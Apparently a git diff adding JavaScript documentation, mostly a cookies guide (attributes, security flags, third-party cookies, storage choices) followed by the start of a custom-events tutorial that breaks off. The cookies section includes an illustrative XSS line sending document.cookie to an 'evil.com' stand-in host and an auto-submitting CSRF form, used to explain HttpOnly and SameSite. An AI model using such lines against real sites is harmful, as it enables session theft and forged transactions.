`max-age`?** It's relative to now, not dependent on clock synchronization between client and server. + </Tab> + <Tab title="expires (Legacy)"> + ```javascript + // Expires on a specific date (must be UTC string) + const expDate = new Date() + expDate.setTime(expDate.getTime() + 7 * 24 * 60 * 60 * 1000) // 7 days + + document.cookie = `remember=true; expires=${expDate.toUTCString()}` + // expires=Sun, 12 Jan 2025 10:30:00 GMT + + // Delete by setting past date + document.cookie = "token=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + ``` + + **Caution:** `expires` depends on the client's clock, which may be wrong. + </Tab> + <Tab title="Session Cookie"> + ```javascript + // No expires or max-age = session cookie + document.cookie = "tempData=xyz" + + // This cookie is deleted when the browser closes + // (Though "session restore" features may keep it alive!) + ``` + </Tab> +</Tabs> + +### Path: URL Restriction + +The `path` attribute restricts which URLs the cookie is sent to: + +```javascript +// Only sent to /app and below (/app/dashboard, /app/settings) +document.cookie = "appToken=abc; path=/app" + +// Only sent to /admin and below +document.cookie = "adminToken=xyz; path=/admin" + +// Sent everywhere on the site (default recommendation) +document.cookie = "theme=dark; path=/" +``` + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ PATH ATTRIBUTE BEHAVIOR │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ Cookie: token=abc; path=/app │ +│ │ +│ / ✗ Cookie NOT sent │ +│ /about ✗ Cookie NOT sent │ +│ /app ✓ Cookie sent │ +│ /app/ ✓ Cookie sent │ +│ /app/dashboard ✓ Cookie sent │ +│ /app/settings ✓ Cookie sent │ +│ /application ✗ Cookie NOT sent (not a subpath!) │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +<Warning> +**Security Note:** The `path` attribute is NOT a security feature! A malicious script on `/public` can still read cookies set for `/admin` by creating a hidden iframe. Use `HttpOnly` and proper authentication instead. +</Warning> + +### Domain: Subdomain Sharing + +The `domain` attribute controls which domains receive the cookie: + +```javascript +// Default: Only sent to exact domain that set it +document.cookie = "token=abc" // Only sent to www.example.com + +// Explicitly share with all subdomains +document.cookie = "token=abc; domain=example.com" +// Sent to: example.com, www.example.com, api.example.com, etc. +``` + +**Rules:** +- You can only set `domain` to your current domain or a parent domain +- You cannot set cookies for unrelated domains (security restriction) +- Leading dots (`.example.com`) are ignored in modern browsers + +--- + +## Security Attributes: Protecting Your Cookies + +### Secure: HTTPS Only + +```javascript +// Only sent over HTTPS connections +document.cookie = "sessionId=abc; secure" + +// Without 'secure', cookies can be intercepted on HTTP! +``` + +<Tip> +**Always use `secure` for any sensitive cookie.** Without it, cookies can be intercepted by attackers on public WiFi (man-in-the-middle attacks). +</Tip> + +### HttpOnly: Block JavaScript Access + +The `HttpOnly` attribute is critical for security, but JavaScript cannot set it: + +```http +Set-Cookie: sessionId=abc123; HttpOnly; Secure +``` + +```javascript +// This cookie is invisible to JavaScript! +console.log(document.cookie) // sessionId won't appear + +// Attackers can't steal it via XSS: +// new Image().src = "https://evil.com/steal?cookie=" + document.cookie +// The sessionId won't be included! +``` + +**Why HttpOnly matters:** + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ XSS ATTACK WITHOUT HttpOnly │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ 1. Attacker injects malicious script into your site │ +│ 2. Script runs: new Image().src = "evil.com?c=" + document.cookie │ +│ 3. Attacker receives your session cookie! │ +│ 4. Attacker impersonates you and accesses your account │ +│ │ +│ WITH HttpOnly: │ +│ 1. Attacker injects malicious script │ +│ 2. Script runs: document.cookie doesn't include HttpOnly cookies! │ +│ 3. Attacker gets nothing sensitive │ +│ 4. Your session is protected │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +### SameSite: CSRF Protection + +The [`SameSite`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#samesitesamesite-value) attribute controls when cookies are sent with cross-site requests: + +<Tabs> + <Tab title="Strict"> + ```javascript + document.cookie = "sessionId=abc; samesite=strict" + ``` + + **Behavior:** Cookie is NEVER sent with cross-site requests. + + **Use case:** High-security cookies (banking, account management). + + **Downside:** If a user clicks a link from their email to your site, they won't be logged in on that first request. + </Tab> + <Tab title="Lax (Default)"> + ```javascript + document.cookie = "sessionId=abc; samesite=lax" + ``` + + **Behavior:** Cookie is sent with top-level navigations (clicking links) but NOT with cross-site POST requests, images, or iframes. + + **Use case:** General authentication cookies. Good balance of security and usability. + + **Note:** This is the default in modern browsers if `SameSite` is not specified. + </Tab> + <Tab title="None"> + ```javascript + // Must include Secure when using SameSite=None! + document.cookie = "widgetId=abc; samesite=none; secure" + ``` + + **Behavior:** Cookie is sent with ALL requests, including cross-site. + + **Use case:** Third-party cookies, embedded widgets, cross-site services. + + **Requirement:** Must also have `Secure` attribute. + </Tab> +</Tabs> + +**CSRF Attack Prevention:** + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ CSRF ATTACK SCENARIO │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ 1. You're logged into bank.com (session cookie stored) │ +│ 2. You visit evil.com which contains: │ +│ <form action="https://bank.com/transfer" method="POST"> │ +│ <input name="to" value="attacker"> │ +│ <input name="amount" value="10000"> │ +│ </form> │ +│ <script>document.forms[0].submit()</script> │ +│ 3. WITHOUT SameSite: Your session cookie is sent, transfer succeeds! │ +│ 4. WITH SameSite=Strict or Lax: Cookie NOT sent, attack fails! │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +### Cookie Prefixes: Extra Security + +Modern browsers support special cookie name prefixes that enforce security requirements: + +```http +# __Secure- prefix: MUST have Secure attribute +Set-Cookie: __Secure-sessionId=abc; Secure; Path=/ + +# __Host- prefix: MUST have Secure, Path=/, and NO Domain +Set-Cookie: __Host-sessionId=abc; Secure; Path=/ +``` + +The `__Host-` prefix provides the strongest guarantees: +- Can only be set from a secure (HTTPS) page +- Must have `Secure` attribute +- Must have `Path=/` +- Cannot have a `Domain` attribute (bound to exact host) + +--- + +## First-Party vs Third-Party Cookies + +### First-Party Cookies + +Cookies set by the website you're visiting: + +```javascript +// On example.com +document.cookie = "theme=dark" // First-party cookie +``` + +### Third-Party Cookies + +Cookies set by a different domain than the one you're visiting: + +```html +<!-- On example.com, this image loads from ads.tracker.com --> +<img src="https://ads.tracker.com/pixel.gif"> + +<!-- ads.tracker.com can set a cookie that tracks you across sites --> +``` + +**How third-party tracking works:** + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ THIRD-PARTY COOKIE TRACKING │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ You visit site-a.com │ +│ ├── Page loads ads.tracker.com/pixel.gif │ +│ └── tracker.com sets cookie: userId=12345 │ +│ │ +│ Later, you visit site-b.com │ +│ ├── Page loads ads.tracker.com/pixel.gif │ +│ └── tracker.com receives cookie: userId=12345 │ +│ "Ah, this is the same person who visited site-a.com!" │ +│ │ +│ tracker.com now knows your browsing history across multiple sites │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## Third-Party Cookie Deprecation + +Major browsers are phasing out third-party cookies for privacy: + +| Browser | Status | +|---------|--------| +| Safari | Blocked by default since 2020 | +| Firefox | Blocked by default in Enhanced Tracking Protection | +| Chrome | Rolling out restrictions in 2024-2025 | + +### CHIPS: Partitioned Cookies + +For legitimate cross-site use cases (embedded widgets, federated login), browsers now support **Cookies Having Independent Partitioned State (CHIPS)**: + +```http +Set-Cookie: __Host-widgetSession=abc; Secure; Path=/; Partitioned; SameSite=None +``` + +With `Partitioned`, the cookie is isolated per top-level site: + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ PARTITIONED COOKIES (CHIPS) │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ widget.com embedded in site-a.com │ +│ └── Cookie: widgetSession=abc (partitioned to site-a.com) │ +│ │ +│ widget.com embedded in site-b.com │ +│ └── Cookie: widgetSession=xyz (partitioned to site-b.com) │ +│ │ +│ These are DIFFERENT cookies! widget.com can't track across sites. │ +│ But it CAN maintain state within each embedding site. │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## Cookies vs Web Storage: When to Use What + +| Feature | Cookies | localStorage | sessionStorage | +|---------|---------|--------------|----------------| +| **Size limit** | ~4KB per cookie | ~5-10MB | ~5-10MB | +| **Sent to server** | Yes, automatically | No | No | +| **Expiration** | Configurable | Never | Tab close | +| **JavaScript access** | Yes (unless HttpOnly) | Yes | Yes | +| **Survives browser close** | If persistent | Yes | No | +| **Shared across tabs** | Yes | Yes | No | +| **Best for** | Auth, server state | Large data, preferences | Temporary state | + +### Decision Guide + +<Steps> + <Step title="Does the server need this data?"> + **Yes** → Use cookies (they're sent automatically with requests) + + **No** → Consider Web Storage (doesn't add overhead to requests) + </Step> + + <Step title="Is it sensitive (session tokens, auth)?"> + **Yes** → Use server-set cookies with `HttpOnly`, `Secure`, `SameSite` + + **No** → JavaScript-set cookies or Web Storage are fine + </Step> + + <Step title="How much data?"> + **> 4KB** → Use localStorage or sessionStorage + + **< 4KB** → Either works + </Step> + + <Step title="Should it persist across tabs?"> + **No, only this tab** → Use sessionStorage + + **Yes** → Use cookies or localStorage + </Step> +</Steps> + +--- + +## Common Mistakes + +<AccordionGroup> + <Accordion title="1. Forgetting to encode values"> + ```javascript + // Bad: Special characters break the cookie + document.cookie = "query=search term with spaces" + + // Good: Encode the value + document.cookie = `query=${encodeURIComponent("search term with spaces")}` + ``` + </Accordion> + + <Accordion title="2. Wrong path when deleting"> + ```javascript + // Cookie was set with: + document.cookie = "token=abc; path=/app" + + // This WON'T delete it: + document.cookie = "token=; max-age=0" // Wrong! Default path is current page + + // This WILL delete it: + document.cookie = "token=; max-age=0; path=/app" // Same path! + ``` + </Accordion> + + <Accordion title="3. Storing sensitive data without HttpOnly"> + ```javascript + // Dangerous: JavaScript can read this (XSS vulnerable) + document.cookie = "sessionToken=secret123" + + // Better: Set from server with HttpOnly + // Set-Cookie: sessionToken=secret123; HttpOnly; Secure + ``` + </Accordion> + + <Accordion title="4. Missing SameSite on sensitive cookies"> + ```javascript + // Vulnerable to CSRF attacks + document.cookie = "authToken=abc; secure" + + // Protected against CSRF + document.cookie = "authToken=abc; secure; samesite=strict" + ``` + </Accordion> + + <Accordion title="5. Exceeding size limits"> + ```javascript + // Cookies have ~4KB limit. This might fail silently: + const hugeData = JSON.stringify(largeObject) // 10KB + document.cookie = `data=${hugeData}` // Silently truncated or rejected! + + // For large data, use localStorage instead + localStorage.setItem("data", hugeData) + ``` + </Accordion> + + <Accordion title="6. Not considering cookie overhead"> + ```javascript + // Every cookie is sent with EVERY request to that domain! + // 20 cookies × 100 bytes = 2KB extra per request + + // For data that doesn't need to go to the server: + localStorage.setItem("uiState", JSON.stringify(state)) // Not sent! + ``` + </Accordion> +</AccordionGroup> + +--- + +## Best Practices + +<AccordionGroup> + <Accordion title="1. Always use Secure for sensitive cookies"> + ```javascript + // Good: Only sent over HTTPS + document.cookie = "sessionId=abc; secure; samesite=strict" + + // Server-side (Express): + res.cookie("sessionId", token, { secure: true }) + ``` + + This prevents cookies from being intercepted on insecure networks. + </Accordion> + + <Accordion title="2. Use HttpOnly for session cookies"> + ```http + Set-Cookie: sessionId=abc; HttpOnly; Secure; SameSite=Strict + ``` + + JavaScript cannot read HttpOnly cookies, protecting them from XSS attacks. + </Accordion> + + <Accordion title="3. Set appropriate SameSite values"> + ```javascript + // For session/auth cookies: Strict or Lax + document.cookie = "auth=token; samesite=strict; secure" + + // For cross-site widgets: None (with Secure) + document.cookie = "widget=data; samesite=none; secure" + ``` + </Accordion> + + <Accordion title="4. Minimize cookie data"> + ```javascript + // Bad: Storing lots of data in cookies + document.cookie = `userData=${JSON.stringify(entireUserProfile)}` + + // Good: Store only an identifier, keep data server-side + document.cookie = "userId=12345; secure; samesite=strict" + // Server looks up full profile using userId + ``` + </Accordion> + + <Accordion title="5. Set explicit expiration"> + ```javascript + // Bad: Session cookie (unclear lifetime) + document.cookie = "preference=dark" + + // Good: Explicit lifetime + document.cookie = "preference=dark; max-age=31536000" // 1 year + ``` + </Accordion> + + <Accordion title="6. Use cookie prefixes for extra security"> + ```http + # Strongest security guarantees + Set-Cookie: __Host-sessionId=abc; Secure; Path=/ + + # Good security + Set-Cookie: __Secure-token=xyz; Secure; Path=/ + ``` + </Accordion> +</AccordionGroup> + +--- + +## Key Takeaways + +<Info> +**The key things to remember about Cookies:** + +1. **Cookies are sent to the server** — Unlike localStorage, cookies automatically travel with every HTTP request to the same domain + +2. **~4KB limit per cookie** — For larger data, use localStorage or sessionStorage + +3. **Use `HttpOnly` for sensitive cookies** — Server-set cookies with HttpOnly can't be stolen via XSS attacks + +4. **Always use `Secure` for sensitive data** — Ensures cookies only travel over HTTPS + +5. **Use `SameSite` to prevent CSRF** — `Strict` or `Lax` block cross-site request forgery attacks + +6. **Path and domain must match for deletion** — Deleting a cookie requires the same path/domain as when it was set + +7. **Third-party cookies are being phased out** — Use partitioned cookies (CHIPS) for legitimate cross-site use cases + +8. **`document.cookie` is quirky** — Setting adds/updates one cookie; reading returns all cookies as a string + +9. **Encode special characters** — Use `encodeURIComponent()` for values with spaces, semicolons, or commas + +10. **Choose the right storage** — Cookies for server communication, localStorage for persistence, sessionStorage for temporary state +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What's the difference between session and persistent cookies?"> + **Session cookies** have no `Expires` or `Max-Age` attribute and are deleted when the browser closes. + + **Persistent cookies** have an explicit expiration and survive browser restarts. + + ```javascript + // Session cookie (deleted on browser close) + document.cookie = "tempId=abc" + + // Persistent cookie (lasts 7 days) + document.cookie = "remember=true; max-age=604800" + ``` + + Note: Some browsers' "session restore" feature can resurrect session cookies! + </Accordion> + + <Accordion title="Question 2: Why can't JavaScript read HttpOnly cookies?"> + `HttpOnly` is a security feature that prevents JavaScript from accessing the cookie via `document.cookie` or other APIs. + + This protects against XSS (Cross-Site Scripting) attacks. If an attacker injects malicious JavaScript into your page, they can't steal session cookies that have `HttpOnly` set. + + ```javascript + // If server set: Set-Cookie: session=abc; HttpOnly + console.log(document.cookie) // "session=abc" will NOT appear! + ``` + + The cookie still works—it's sent with requests—JavaScript just can't read it. + </Accordion> + + <Accordion title="Question 3: What does SameSite=Strict prevent?"> + `SameSite=Strict` prevents the cookie from being sent with ANY cross-site request, including: + + - Clicking a link from another site to your site + - Form submissions from other sites + - Images, iframes, or scripts loading from other sites + + This provides strong CSRF protection but can affect usability—users clicking links from emails or other sites won't be logged in on the first request. + + `SameSite=Lax` is often a better balance—it allows cookies on top-level navigation links but blocks them on POST requests and embedded resources. + </Accordion> + + <Accordion title="Question 4: How do you delete a cookie?"> + Set the same cookie with `max-age=0` or an `expires` date in the past: + + ```javascript + // Method 1: max-age=0 + document.cookie = "username=; max-age=0; path=/" + + // Method 2: expires in the past + document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/" + ``` + + **Critical:** You must use the same `path` and `domain` attributes as when the cookie was set! + </Accordion> + + <Accordion title="Question 5: When should you use cookies vs localStorage?"> + **Use cookies when:** + - The server needs the data (authentication, session tokens) + - You need to set `HttpOnly` for security + - Data is small (< 4KB) + + **Use localStorage when:** + - Data is client-side only (UI preferences) + - Data is large (> 4KB) + - You want to avoid adding overhead to HTTP requests + + **Use sessionStorage when:** + - Data should only last for the current tab + - Data shouldn't be shared across tabs + </Accordion> + + <Accordion title="Question 6: What are cookie prefixes and why use them?"> + Cookie prefixes are special naming conventions that browsers enforce: + + - **`__Secure-`**: Cookie MUST have the `Secure` attribute + - **`__Host-`**: Cookie MUST have `Secure`, `Path=/`, and NO `Domain` + + ```http + Set-Cookie: __Host-sessionId=abc; Secure; Path=/ + ``` + + They provide defense-in-depth—even if there's a bug in your code, the browser enforces these security requirements. `__Host-` is the most restrictive, ensuring the cookie can only be set by and sent to the exact host. + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="localStorage and sessionStorage" icon="database" href="/beyond/concepts/localstorage-sessionstorage"> + Browser storage APIs for larger data that doesn't need to go to the server + </Card> + <Card title="HTTP and Fetch" icon="globe" href="/concepts/http-fetch"> + Understanding HTTP requests and how cookies travel with them + </Card> + <Card title="IndexedDB" icon="database" href="/beyond/concepts/indexeddb"> + Client-side database for complex data storage beyond cookies and localStorage + </Card> + <Card title="Error Handling" icon="triangle-exclamation" href="/concepts/error-handling"> + Handling errors when cookies fail or are blocked + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="Using HTTP Cookies — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies"> + Comprehensive guide covering cookies from both server and browser perspectives. The authoritative resource for understanding cookie mechanics. + </Card> + <Card title="Document.cookie — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie"> + JavaScript API reference for reading and writing cookies. Includes security considerations and browser compatibility. + </Card> + <Card title="Set-Cookie Header — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie"> + Complete reference for the Set-Cookie HTTP header and all its attributes. Essential for server-side cookie implementation. + </Card> + <Card title="Third-party Cookies — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/Privacy/Guides/Third-party_cookies"> + Understanding third-party cookies, privacy implications, and the transition to a cookieless future. + </Card> +</CardGroup> + +--- + +## Articles + +<CardGroup cols={2}> + <Card title="Cookies, document.cookie — javascript.info" icon="newspaper" href="https://javascript.info/cookie"> + Clear, beginner-friendly JavaScript tutorial with practical helper functions. Includes interactive examples you can run in the browser. + </Card> + <Card title="SameSite Cookies Explained — web.dev" icon="newspaper" href="https://web.dev/articles/samesite-cookies-explained"> + Chrome team's definitive guide to SameSite attribute and CSRF protection. Essential reading for understanding modern cookie security. + </Card> + <Card title="Cookies and Security — Nicholas Zakas" icon="newspaper" href="https://humanwhocodes.com/blog/2009/05/12/cookies-and-security/"> + Deep dive into cookie security from a web security expert. Covers attack vectors and defense strategies in detail. + </Card> + <Card title="HTTP Cookies Explained — freeCodeCamp" icon="newspaper" href="https://www.freecodecamp.org/news/everything-you-need-to-know-about-cookies-for-web-development/"> + Comprehensive overview of cookies for web developers. Great starting point with practical examples and clear explanations. + </Card> +</CardGroup> + +--- + +## Videos + +<CardGroup cols={2}> + <Card title="What Is JWT and Why Should You Use JWT — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=7Q17ubqLfaM"> + Kyle Cook explains JWT tokens and their relationship to cookie-based authentication. Great for understanding when to use cookies vs tokens for sessions. + </Card> + <Card title="Cookies vs localStorage vs sessionStorage — Fireship" icon="video" href="https://www.youtube.com/watch?v=GihQAC1I39Q"> + Fast-paced comparison of browser storage options. Perfect for understanding when to use each storage mechanism. + </Card> + <Card title="HTTP Cookies Crash Course — Hussein Nasser" icon="video" href="https://www.youtube.com/watch?v=sovAIX4doOE"> + Deep technical explanation of how cookies work at the HTTP level. Covers headers, attributes, and security in detail. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/custom-events.mdx b/docs/beyond/concepts/custom-events.mdx new file mode 100644 index 00000000..28bfd02b --- /dev/null +++ b/docs/beyond/concepts/custom-events.mdx @@ -0,0 +1,909 @@ +--- +title: "Custom Events: Create Your Own Events in JavaScript" +sidebarTitle: "Custom Events" +description: "Learn JavaScript custom events. Create, dispatch, and listen for CustomEvent, pass data with the detail property, and build decoupled event-driven architectures." +--- + +What if you could create your own events, just like `click` or `submit`? What if a shopping cart could announce "item added!" and any part of your app could listen and respond? How do you build components that communicate without knowing about each other? + +```javascript +// Create a custom event with data +const event = new CustomEvent('userLoggedIn', { + detail: { username: 'alice', timestamp: Date.now() } +}) + +// Listen for the event anywhere in your app +document.addEventListener('userLoggedIn', (e) => { + console.log(`Welcome, ${e.detail.username}!`) +}) + +// Dispatch the event +document.dispatchEvent(event) // "Welcome, alice!" +``` + +The answer is **custom events**. They let you create your own event types, attach any data you want, and build applications where components communicate through events instead of direct function calls. + +<Info> +**What you'll learn in this guide:** +- Creating events with the [`CustomEvent`](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent) constructor +- Dispatching events with [`dispatchEvent()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent) +- Passing data through the [`detail`](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/detail) property +- Event options: `bubbles`, `cancelable`, and when to use them +- Building decoupled component communication +- Differences between custom events and native browser events +</Info> + +<Warning> +**Prerequisites:** This guide assumes you understand [Event Bubbling and Capturing](/beyond/concepts/event-bubbling-capturing). If you're not familiar with how events propagate through the DOM, read that guide first. +</Warning> + +--- + +## What is a Custom Event? + +A **[custom event](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent)** is a developer-defined event that you create, dispatch, and listen for in JavaScript. Unlike built-in events like `click` or `keydown` triggered by user actions, custom events are triggered programmatically using `dispatchEvent()`. The `CustomEvent` constructor extends the base `Event` interface, adding a `detail` property for passing data to listeners. + +<Note> +Custom events work with any [`EventTarget`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget), including DOM elements, the `document`, `window`, and even custom objects that extend `EventTarget`. +</Note> + +--- + +## The Radio Station Analogy + +Think of custom events like a radio broadcast: + +1. **The radio station (dispatcher)** broadcasts a message on a specific frequency +2. **Anyone with a radio (listeners)** tuned to that frequency receives the message +3. **The station doesn't know who's listening** - it just broadcasts +4. **Listeners don't need to know where the station is** - they just tune in + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ CUSTOM EVENTS: THE RADIO ANALOGY │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ BROADCASTING (Dispatching) │ +│ ───────────────────────── │ +│ │ +│ ┌─────────────┐ │ +│ │ STATION │ ──── dispatchEvent() ────► 📻 "cart:updated" │ +│ │ (Element) │ frequency (event type) │ +│ └─────────────┘ │ +│ │ +│ LISTENING (Subscribing) │ +│ ─────────────────────── │ +│ │ +│ 📻 "cart:updated" │ +│ │ │ +│ ┌─────────┼─────────┐ │ +│ ▼ ▼ ▼ │ +│ ┌────────┐ ┌────────┐ ┌────────┐ │ +│ │ Header │ │ Badge │ │ Total │ All tuned to same frequency │ +│ │Counter │ │ Icon │ │Display │ All receive the broadcast │ +│ └────────┘ └────────┘ └────────┘ │ +│ │ +│ The station doesn't know (or care) who's listening. │ +│ Listeners don't know (or care) where the broadcast comes from. │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +This decoupling is the superpower of custom events. Components can communicate without importing each other or knowing each other exists. + +--- + +## Creating Custom Events + +### The CustomEvent Constructor + +To create a custom event, use the [`CustomEvent`](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent) constructor: + +```javascript +const event = new CustomEvent('eventName', options) +``` + +The constructor takes two arguments: +1. **`type`** (required) - A string for the event name (case-sensitive) +2. **`options`** (optional) - An object with configuration + +```javascript +// Simplest custom event - just a name +const simpleEvent = new CustomEvent('hello') + +// Custom event with data +const dataEvent = new CustomEvent('userAction', { + detail: { action: 'click', target: 'button' } +}) + +// Custom event with all options +const fullEvent = new CustomEvent('formSubmit', { + detail: { formId: 'login', data: { user: 'alice' } }, + bubbles: true, // Event bubbles up the DOM + cancelable: true // preventDefault() will work +}) +``` + +### Event Options Explained + +| Option | Default | Description | +|--------|---------|-------------| +| `detail` | `null` | Any data you want to pass to listeners | +| `bubbles` | `false` | If `true`, event propagates up through ancestors | +| `cancelable` | `false` | If `true`, `preventDefault()` can cancel the event | +| `composed` | `false` | If `true`, event can cross shadow DOM boundaries | + +<Tip> +**Naming convention:** Use lowercase with colons or hyphens for namespacing: `cart:updated`, `user:logged-in`, `modal-opened`. This prevents collision with future browser events and makes your events easy to identify. +</Tip> + +--- + +## Passing Data with detail + +The `detail` property is what makes `CustomEvent` special. It can hold any JavaScript value: + +```javascript +// Primitive values +new CustomEvent('count', { detail: 42 }) +new CustomEvent('message', { detail: 'Hello!' }) + +// Objects (most common) +new CustomEvent('userLoggedIn', { + detail: { + userId: 123, + username: 'alice', + timestamp: Date.now() + } +}) + +// Arrays +new CustomEvent('itemsSelected', { + detail: ['item1', 'item2', 'item3'] +}) + +// Even functions (though rarely needed) +new CustomEvent('callback', { + detail: { getText: () => document.title } +}) +``` + +### Accessing detail in Listeners + +The `detail` property is read-only and accessed through the event object: + +```javascript +document.addEventListener('userLoggedIn', (event) => { + // Access the detail property + console.log(event.detail.username) // "alice" + console.log(event.detail.userId) // 123 + + // detail is read-only - this won't work + event.detail = { different: 'data' } // Silently fails + + // But you CAN mutate the object's properties (not recommended) + event.detail.username = 'bob' // Works, but avoid this +}) +``` + +<Warning> +The `detail` property itself is read-only, but if it contains an object, that object's properties can be mutated. Avoid mutating `event.detail` in listeners as it can cause confusing bugs when multiple listeners handle the same event. +</Warning> + +--- + +## Dispatching Events + +### The dispatchEvent() Method + +To trigger a custom event, call [`dispatchEvent()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent) on any element: + +```javascript +const button = document.querySelector('#myButton') + +// Create the event +const event = new CustomEvent('customClick', { + detail: { clickCount: 5 } +}) + +// Dispatch it on the button +button.dispatchEvent(event) +``` + +### Dispatching on Different Targets + +You can dispatch events on any `EventTarget`: + +```javascript +// On a specific element +document.querySelector('#cart').dispatchEvent(event) + +// On the document (global events) +document.dispatchEvent(event) + +// On window (also global) +window.dispatchEvent(event) + +// On any element +someElement.dispatchEvent(event) +``` + +<Tabs> + <Tab title="Element-Level Events"> + ```javascript + // Good for component-specific events + const cart = document.querySelector('#shopping-cart') + + cart.addEventListener('cart:updated', (e) => { + console.log('Cart changed:', e.detail.items) + }) + + // Later, when cart changes... + cart.dispatchEvent(new CustomEvent('cart:updated', { + detail: { items: ['apple', 'banana'] } + })) + ``` + </Tab> + <Tab title="Document-Level Events"> + ```javascript + // Good for app-wide events + document.addEventListener('app:themeChanged', (e) => { + console.log('Theme is now:', e.detail.theme) + }) + + // From anywhere in the app... + document.dispatchEvent(new CustomEvent('app:themeChanged', { + detail: { theme: 'dark' } + })) + ``` + </Tab> +</Tabs> + +### Important: dispatchEvent is Synchronous + +Unlike native browser events (which are processed asynchronously through the event loop), `dispatchEvent()` is **synchronous**. All listeners execute immediately before `dispatchEvent()` returns: + +```javascript +console.log('1: Before dispatch') + +document.addEventListener('myEvent', () => { + console.log('2: Inside listener') +}) + +document.dispatchEvent(new CustomEvent('myEvent')) + +console.log('3: After dispatch') + +// Output: +// 1: Before dispatch +// 2: Inside listener <-- Runs immediately! +// 3: After dispatch +``` + +<Note> +This synchronous behavior means you can use the return value of `dispatchEvent()` to check if any listener called `preventDefault()`. +</Note> + +--- + +## Listening for Custom Events + +Use [`addEventListener()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener) to listen for custom events, just like native events: + +```javascript +// Add a listener +element.addEventListener('myCustomEvent', (event) => { + console.log('Received:', event.detail) +}) + +// You can add multiple listeners for the same event +element.addEventListener('myCustomEvent', handler1) +element.addEventListener('myCustomEvent', handler2) // Both will fire + +// Remove a listener when no longer needed +element.removeEventListener('myCustomEvent', handler1) +``` + +<Warning> +**Don't use `on` properties for custom events!** Unlike built-in events, custom events don't have corresponding `onevent` properties. `element.onmyCustomEvent` won't work - you must use `addEventListener()`. + +```javascript +// ✗ This doesn't work +element.onmyCustomEvent = handler // undefined, does nothing + +// ✓ This works +element.addEventListener('myCustomEvent', handler) +``` +</Warning> + +--- + +## Event Bubbling with Custom Events + +By default, custom events **don't bubble**. Set `bubbles: true` if you want the event to propagate up through ancestor elements: + +```javascript +// Without bubbles (default) - only direct listeners receive the event +const nonBubblingEvent = new CustomEvent('test', { + detail: { value: 1 } +}) + +// With bubbles - ancestors can also listen +const bubblingEvent = new CustomEvent('test', { + detail: { value: 2 }, + bubbles: true +}) +``` + +### Bubbling Example + +```javascript +// HTML: <div id="parent"><button id="child">Click</button></div> + +const parent = document.querySelector('#parent') +const child = document.querySelector('#child') + +// Listen on parent +parent.addEventListener('customClick', (e) => { + console.log('Parent heard:', e.detail.message) +}) + +// Dispatch from child WITHOUT bubbles +child.dispatchEvent(new CustomEvent('customClick', { + detail: { message: 'no bubbles' } +})) +// Parent hears nothing! + +// Dispatch from child WITH bubbles +child.dispatchEvent(new CustomEvent('customClick', { + detail: { message: 'with bubbles' }, + bubbles: true +})) +// Parent logs: "Parent heard: with bubbles" +``` + +<Tip> +Use `bubbles: true` when you want ancestor elements to be able to listen for events from their descendants. This is essential for [Event Delegation](/beyond/concepts/event-delegation) patterns. +</Tip> + +--- + +## Canceling Custom Events + +If you create an event with `cancelable: true`, listeners can call `preventDefault()` to signal that the default action should be canceled: + +```javascript +const button = document.querySelector('#deleteButton') + +// Listener can prevent the action +document.addEventListener('item:delete', (event) => { + if (!confirm('Are you sure you want to delete?')) { + event.preventDefault() // Signal cancellation + } +}) + +// Dispatch and check if it was canceled +function deleteItem(itemId) { + const event = new CustomEvent('item:delete', { + detail: { itemId }, + cancelable: true // Required for preventDefault to work! + }) + + const wasAllowed = button.dispatchEvent(event) + + if (wasAllowed) { + // No listener called preventDefault + console.log('Deleting item:', itemId) + } else { + // A listener called preventDefault + console.log('Deletion was canceled') + } +} +``` + +### Return Value of dispatchEvent + +`dispatchEvent()` returns: +- `true` if no listener called `preventDefault()` +- `false` if any listener called `preventDefault()` (and event was `cancelable`) + +```javascript +const event = new CustomEvent('action', { cancelable: true }) + +element.addEventListener('action', (e) => { + e.preventDefault() +}) + +const result = element.dispatchEvent(event) +console.log(result) // false - event was canceled +``` + +--- + +## Component Communication Pattern + +Custom events shine when building decoupled components that need to communicate: + +```javascript +// Shopping Cart Component +class ShoppingCart { + 